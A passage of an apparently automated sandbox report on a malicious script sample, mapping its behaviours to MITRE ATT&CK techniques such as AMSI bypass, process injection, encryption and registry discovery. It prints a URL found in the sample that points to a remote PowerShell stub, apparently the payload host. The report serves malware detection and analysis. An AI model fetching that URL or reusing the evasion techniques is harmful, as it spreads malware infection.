Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Calls an API typically used to encrypt a block of data"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Writes a PE file header to disc"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops script files inside temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Detected XOR operators (encryption/decryption)"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Calls an API typically used to decrypt a block of data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Defense Impairment","technique":"Disable or Modify Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform GET/POST network requests (xmlhttp)","description":"file/memory contains long string with (Indicator: \"msxml2.xmlhttp\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-469","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"General","name":"Able to execute application using Windows wscript shell (JSP)","description":"file/memory contains long string with (Indicator: \"ActiveXObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-461","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://leisureconnecting.com/build/secured_stub.ps1\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://leisureconnecting.com\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAllocExDelegate\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")\n Found reference to API \"VirtualAllocExDelegate\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")\n Found reference to API \"WriteProcessMemoryDelegate\" (Indicator: \"WriteProcessMemory\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocExDelegate\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Sleep\"; File: \"AMSI\")\n Found string \"-MethodName 'LAUNCHER' ` -MethodParams $invocationArgs Start-Sleep -Seconds $IntervalSeconds }}Start-ExecutionLoop\" (Indicator: \"Start-Sleep\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"wUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"AMSI\")\n Found reference to API \"wUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")\n Found reference to API \"UnmapViewOfSectionDelegate\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")\n Found reference to API \"_zwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HashAlgorithm\" (Indicator: \"HashAlgorithm\"; Source: \"00000000-00006896-00000BC0-618619262\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp, 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp, 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp\")\n Found reference to \"CDSA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000001.136542.EEFD3000.00000004.mdmp, 00000000-00006896.00000002.138461.EEFD3000.00000004.mdmp, 00000000-00006896.00000003.143769.EEFD3000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006896.00000001.136542.EEB90000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"WScript.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"WScript.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\WMI\\SECURITY\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\ERROR MESSAGE INSTRUMENT\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\WSCRIPT.EXE\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\WSCRIPT.EXE\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\DISPLAY\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\GRE_INITIALIZE\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\GRE_INITIALIZE\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\CONTROL PANEL\\DESKTOP\")\n \"WScript.exe\" (Access type: \"OPEN\"; Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\CONTROL PANEL\\DESKTOP\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$37","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"DISABLECACHINGOFSSLPAGES\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSHTTPNOCACHECHECK\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSHTTPNOCACHECHECK\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSSSLNOCACHECHECK\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"BYPASSSSLNOCACHECHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-29","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"tripledescryptoserviceprovider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00006896.00000002.138461.11B90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to import cryptographic keys (seen in ransomware)","description":"Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000000.134622.EF070000.00000004.mdmp, 00000000-00006896.00000001.136542.EF070000.00000004.mdmp, 00000000-00006896.00000002.138461.EF070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-603","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000000.134622.EF070000.00000004.mdmp\")\n Found api reference \"CryptEncrypt\" (Indicator: \"CryptEncrypt\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp\")\n Found api reference \"CryptExportKey\" (Indicator: \"CryptExportKey\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp\")\n Found api reference \"CryptImportKey\" (Indicator: \"CryptImportKey\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000000.134622.EF070000.00000004.mdmp, 00000000-00006896.00000001.136542.EF070000.00000004.mdmp, 00000000-00006896.00000002.138461.EF070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to decrypt a block of data","description":"$38","origin":"API Call","mitre_attack_id":"T1140","relevance":3,"id":"api-207","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to encrypt a block of data","description":"\"WScript.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"d65c8726d068778906f1c01a74134ea48b5223cdc24e643229ed21a4769a635e1f6eb6dd950d6a2da9a0b072e3b1bde43046c11e27ca5a799103c08e854fa1720c189121d1ca628a24ec9a24dcca769fd96006e92a36ba0ea7eb901d5724bf699854035e87a0701aa14468c5feee44061c2c4dadb1c2e13840450d6ddca264c62f9a6a1bc47dd1168e50a99e14768a14a32844fa664f5c74b9a355a44da72a4dadac257bf9eac31038925b8741a419f11b7230cf1822c55d8ef824742138efe1622d53ad6125fd21a769c2e9041e0fb05bf8308a343e000ebaa0c5a611b24bfcec6300df0114c359b17ef4eb3aa50eb87c6e82533c330f3ec7a7335be29822f82012dccca381404aad19ceb226ffbfbcfeacfd81365aff7f4ee124ad063d6656f51edc30634c1134b5aeb4bbaac6fb74f878a459dbcbc5bc8150c6c4174e4c20f9e4e499f32ca6493096ac1fa87dffcc65286f170cc512bb29f459c2369745d77d52a2935a74a2\"}","origin":"API Call","mitre_attack_id":"T1573.002","relevance":3,"id":"api-206","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006896.00000000.134622.EEFD3000.00000004.mdmp, 00000000-00006896.00000000.134622.EF070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006896.00000000.134622.ECA50000.00000004.mdmp, 00000000-00006896.00000001.136542.ECA50000.00000004.mdmp, 00000000-00006896.00000002.138461.ECA50000.00000004.mdmp, 00000000-00006896.00000003.143769.ECA50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Detected XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \"-bxor \"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$39","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$3a","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Detected XOR operators (encryption/decryption)\n Matched sigs: Script contains XOR (Antimalware Scan Interface)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006896-00000C2C-619418154\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006896-00000C2C-620601916\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006896-00000C2C-619418154\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006896-00000C2C-620601916\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00006896-00000C2C-618343630\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00006896-00000C2C-618344271\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006896-00000C2C-621934517\")\n Found reference to API \"CheckTokenMembershipW\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006896-00000C2C-621934565\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve file and directory information","description":"file/memory contains long string(File: \"ModuleAnalysisCache\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-726","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006896-00000C2C-619982660\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006896-00000C2C-619982717\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"WScript.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005240)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006896)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6aeb06ee37a6f7ecfd022f4a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs 